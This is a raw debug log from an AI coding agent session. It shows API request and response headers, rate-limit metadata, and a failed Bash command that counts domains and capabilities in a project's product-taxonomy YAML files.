{\n[2026-09-29T07:49:55.935Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:55.940Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:55.944Z] [STDOUT]   headers: {\n[2026-09-29T07:49:55.948Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:55.958Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:55.966Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:55.980Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:55.985Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:55.990Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:55.997Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:56.001Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:56.007Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:56.010Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:56.014Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:56.018Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:56.023Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:56.026Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:56.029Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:56.032Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:56.040Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:56.043Z] [STDOUT]     \"cf-ray\": \"a42964db4e1829ad-FRA\",\n[2026-09-29T07:49:56.047Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:56.054Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:56.059Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:56.064Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:56.068Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:55 GMT\",\n[2026-09-29T07:49:56.072Z] [STDOUT]     \"request-id\": \"req_011CfXN6gZ6AdVcSqwCUZPMz\",\n[2026-09-29T07:49:56.075Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:56.081Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:56.087Z] [STDOUT]     traceresponse: \"00-791cb2300e80f605d1973ffc558a7df6-e8fed145f8bd20c3-01\",\n[2026-09-29T07:49:56.091Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:56.098Z] [STDOUT]     vary: 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{\n[2026-09-29T07:49:59.529Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:59.533Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:59.543Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:59.550Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:59.553Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:59.557Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:59.559Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:59.561Z] [STDOUT]     },\n[2026-09-29T07:49:59.564Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:59.567Z] [STDOUT]   },\n[2026-09-29T07:49:59.571Z] [STDOUT]   headers: {\n[2026-09-29T07:49:59.577Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:59.580Z] [STDOUT]     \"anthropic-beta\": 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\"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:59.607Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:59.613Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1750\",\n[2026-09-29T07:49:59.619Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:59.628Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:59.647Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:59.652Z] [STDOUT]     \"x-client-request-id\": \"28a9a227-e7eb-4762-8811-f0c03d76081d\",\n[2026-09-29T07:49:59.655Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:59.660Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:59.662Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:59.669Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:59.673Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:59.676Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:59.682Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:59.686Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:59.699Z] [STDOUT]   },\n[2026-09-29T07:49:59.705Z] [STDOUT] }\n[2026-09-29T07:50:00.509Z] [STDOUT] [log_25bb32, request-id: \"req_011CfXN71BmQwYcK2mXwVuw4\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1062ms\n[2026-09-29T07:50:00.519Z] [STDOUT] [log_25bb32] response start {\n[2026-09-29T07:50:00.554Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:00.562Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:00.570Z] [STDOUT]   headers: {\n[2026-09-29T07:50:00.598Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:00.605Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:00.611Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:00.625Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:00.671Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:00.685Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.692Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:00.713Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:00.767Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:00.770Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:00.778Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:00.780Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:00.786Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:00.791Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.797Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:00.799Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:00.801Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:00.803Z] [STDOUT]     \"cf-ray\": \"a42964f69a7129ad-FRA\",\n[2026-09-29T07:50:00.808Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:00.812Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:00.817Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:00.821Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:00.828Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:00 GMT\",\n[2026-09-29T07:50:00.831Z] [STDOUT]     \"request-id\": \"req_011CfXN71BmQwYcK2mXwVuw4\",\n[2026-09-29T07:50:00.836Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:00.839Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:00.844Z] [STDOUT]     traceresponse: \"00-55eb8c113ed3957a76de85a511d27850-8e4391d0bad6e29f-01\",\n[2026-09-29T07:50:00.853Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:00.857Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:00.860Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:00.863Z] [STDOUT]   },\n[2026-09-29T07:50:00.865Z] [STDOUT]   durationMs: 1062,\n[2026-09-29T07:50:00.869Z] [STDOUT] }\n[2026-09-29T07:50:00.873Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:00.881Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:00 GMT\",\n[2026-09-29T07:50:00.884Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:00.886Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:00.893Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:00.899Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:00.903Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:00.907Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:00.911Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:00.916Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:00.921Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:00.925Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:00.930Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:00.939Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:00.943Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:00.946Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:00.951Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:00.956Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.961Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:00.964Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:00.967Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:00.974Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:00.977Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:00.982Z] [STDOUT]   \"request-id\": \"req_011CfXN71BmQwYcK2mXwVuw4\",\n[2026-09-29T07:50:00.985Z] [STDOUT]   \"traceresponse\": \"00-55eb8c113ed3957a76de85a511d27850-8e4391d0bad6e29f-01\",\n[2026-09-29T07:50:00.990Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:00.994Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:00.997Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:01.002Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:01.005Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:01.010Z] [STDOUT]   \"cf-ray\": \"a42964f69a7129ad-FRA\",\n[2026-09-29T07:50:01.030Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:01.039Z] [STDOUT] [log_25bb32] response parsed {\n[2026-09-29T07:50:01.043Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:01.050Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:01.054Z] [STDOUT]   body: X {\n[2026-09-29T07:50:01.058Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:01.061Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:01.065Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:01.069Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:01.080Z] [STDOUT]     },\n[2026-09-29T07:50:01.083Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:01.088Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:01.091Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:01.099Z] [STDOUT]   },\n[2026-09-29T07:50:01.111Z] [STDOUT]   durationMs: 1063,\n[2026-09-29T07:50:01.119Z] [STDOUT] }\n[2026-09-29T07:50:01.867Z] [INFO] {\n[2026-09-29T07:50:01.867Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"message\": {\n[2026-09-29T07:50:01.867Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"id\": \"msg_011CfXN71nE6UrrLK7R5dspx\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:01.867Z] [INFO]     \"content\": [\n[2026-09-29T07:50:01.867Z] [INFO]       {\n[2026-09-29T07:50:01.867Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:50:01.867Z] [INFO]         \"id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\",\n[2026-09-29T07:50:01.867Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:50:01.867Z] [INFO]         \"input\": {\n[2026-09-29T07:50:01.867Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model/product-taxonomy; for f in *.yaml; do python3 -c \\\"\\nimport json,sys;d=json.load(open('$f'));print('$f',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\\"; done\",\n[2026-09-29T07:50:01.867Z] [INFO]           \"description\": \"Count domains and capabilities\"\n[2026-09-29T07:50:01.867Z] [INFO]         },\n[2026-09-29T07:50:01.867Z] [INFO]         \"caller\": {\n[2026-09-29T07:50:01.867Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:50:01.867Z] [INFO]         }\n[2026-09-29T07:50:01.867Z] [INFO]       }\n[2026-09-29T07:50:01.867Z] [INFO]     ],\n[2026-09-29T07:50:01.867Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:01.867Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:01.867Z] [INFO]       \"cache_creation_input_tokens\": 799,\n[2026-09-29T07:50:01.867Z] [INFO]       \"cache_read_input_tokens\": 82208,\n[2026-09-29T07:50:01.867Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:01.867Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:01.867Z] [INFO]         \"ephemeral_1h_input_tokens\": 799\n[2026-09-29T07:50:01.867Z] [INFO]       },\n[2026-09-29T07:50:01.867Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:50:01.867Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:50:01.867Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:01.867Z] [INFO]     },\n[2026-09-29T07:50:01.867Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:01.867Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:01.867Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:01.867Z] [INFO]   },\n[2026-09-29T07:50:01.867Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:01.867Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"uuid\": \"c7ced008-4b8b-4727-b29c-c59b82d13e4c\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:01.764Z\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"request_id\": \"req_011CfXN71BmQwYcK2mXwVuw4\",\n[2026-09-29T07:50:01.867Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:50:01.867Z] [INFO]     \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\": {\n[2026-09-29T07:50:01.867Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model/product-taxonomy; for f in *.yaml; do python3 -c \\\"\\nimport json,sys;d=json.load(open('$f'));print('$f',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\\"; done\",\n[2026-09-29T07:50:01.867Z] [INFO]       \"description\": \"Count domains and capabilities\"\n[2026-09-29T07:50:01.867Z] [INFO]     }\n[2026-09-29T07:50:01.867Z] [INFO]   }\n[2026-09-29T07:50:01.867Z] [INFO] }\n[2026-09-29T07:50:05.039Z] [INFO] {\n[2026-09-29T07:50:05.039Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"task_id\": \"bu0w8odtv\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"tool_use_id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"description\": \"Count domains and capabilities\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:50:05.039Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"uuid\": \"aaa1b939-f0e5-4f57-81b4-b05db50a4951\",\n[2026-09-29T07:50:05.039Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:05.039Z] [INFO] }\n[2026-09-29T07:50:06.772Z] [INFO] {\n[2026-09-29T07:50:06.772Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"task_id\": \"bu0w8odtv\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"tool_use_id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"status\": \"failed\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"summary\": \"Count domains and capabilities\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"uuid\": \"c4ad3342-09db-43a1-a3b6-9f527cfcbb9b\",\n[2026-09-29T07:50:06.772Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:50:06.772Z] [INFO] }\n[2026-09-29T07:50:06.810Z] [INFO] {\n[2026-09-29T07:50:06.810Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"message\": {\n[2026-09-29T07:50:06.810Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:50:06.810Z] [INFO]     \"content\": [\n[2026-09-29T07:50:06.810Z] [INFO]       {\n[2026-09-29T07:50:06.810Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:50:06.810Z] [INFO]         \"content\": \"Exit code 1\\nmango-products.yaml 8 42\\nTraceback (most recent call last):\\n  File \\\"\\\", line 2, in \\n    import json,sys;d=json.load(open('telecom-products.yaml'));print('telecom-products.yaml',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\n                                                                                                 ~^^^^^^^^^^^\\nKeyError: 'domains'\",\n[2026-09-29T07:50:06.810Z] [INFO]         \"is_error\": true,\n[2026-09-29T07:50:06.810Z] [INFO]         \"tool_use_id\": \"toolu_01Eng9UZFe3eUhMDJ6bQKP1J\"\n[2026-09-29T07:50:06.810Z] [INFO]       }\n[2026-09-29T07:50:06.810Z] [INFO]     ]\n[2026-09-29T07:50:06.810Z] [INFO]   },\n[2026-09-29T07:50:06.810Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:06.810Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"uuid\": \"710ef990-44f1-42eb-bd91-e895d90cf96e\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:06.791Z\",\n[2026-09-29T07:50:06.810Z] [INFO]   \"tool_use_result\": \"Error: Exit code 1\\nmango-products.yaml 8 42\\nTraceback (most recent call last):\\n  File \\\"\\\", line 2, in \\n    import json,sys;d=json.load(open('telecom-products.yaml'));print('telecom-products.yaml',len(d['domains']),sum(len(x['capabilities']) for x in d['domains']))\\n                                                                                                 ~^^^^^^^^^^^\\nKeyError: 'domains'\"\n[2026-09-29T07:50:06.810Z] [INFO] }\n[2026-09-29T07:50:06.837Z] [INFO] \u26a0\ufe0f Tool result error detected: Exit code 1\n[2026-09-29T07:50:06.837Z] [INFO] mango-products.yaml 8 42\n[2026-09-29T07:50:06.837Z] [INFO] Traceback (most recent call last):\n[2026-09-29T07:50:06.837Z] [INFO]   File \"\", line 2, in \n[2026-09-29T07:50:06.837Z] [INFO]     import json,sys;d=json.load(open('telecom-products.yaml'));print('telecom-products.ya\n[2026-09-29T07:50:06.992Z] [STDOUT] [log_9cab6c] sending request {\n[2026-09-29T07:50:06.996Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:50:06.998Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:07.000Z] [STDOUT]   options: {\n[2026-09-29T07:50:07.003Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:50:07.005Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:50:07.007Z] [STDOUT]     body: {\n[2026-09-29T07:50:07.009Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:50:07.011Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:50:07.012Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:50:07.100Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:50:07.104Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:50:07.105Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:50:07.109Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:50:07.122Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:50:07.180Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:50:07.191Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:50:07.218Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:50:07.232Z] [STDOUT]       stream: true,\n[2026-09-29T07:50:07.243Z] [STDOUT]     },\n[2026-09-29T07:50:07.247Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:50:07.251Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:07.253Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:07.254Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:07.255Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:07.257Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:07.258Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:07.259Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:07.263Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:07.279Z] [STDOUT]     },\n[2026-09-29T07:50:07.281Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:07.287Z] [STDOUT]   },\n[2026-09-29T07:50:07.296Z] [STDOUT]   headers: {\n[2026-09-29T07:50:07.301Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:07.308Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:50:07.310Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:50:07.312Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:50:07.314Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:50:07.320Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:50:07.324Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:50:07.331Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:50:07.337Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:50:07.340Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=4902\",\n[2026-09-29T07:50:07.352Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:50:07.357Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:50:07.362Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:07.366Z] [STDOUT]     \"x-client-request-id\": \"39b0d590-f28a-40b8-9117-350645790f1c\",\n[2026-09-29T07:50:07.370Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:50:07.375Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:50:07.380Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:50:07.386Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:50:07.391Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:50:07.395Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:50:07.402Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:50:07.405Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:50:07.408Z] [STDOUT]   },\n[2026-09-29T07:50:07.414Z] [STDOUT] }\n[2026-09-29T07:50:07.762Z] [STDOUT] [log_9cab6c, request-id: \"req_011CfXN7ZSEqJ9fJS1yQmY89\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 773ms\n[2026-09-29T07:50:07.768Z] [STDOUT] [log_9cab6c] response start {\n[2026-09-29T07:50:07.775Z] [STDOUT]   url: 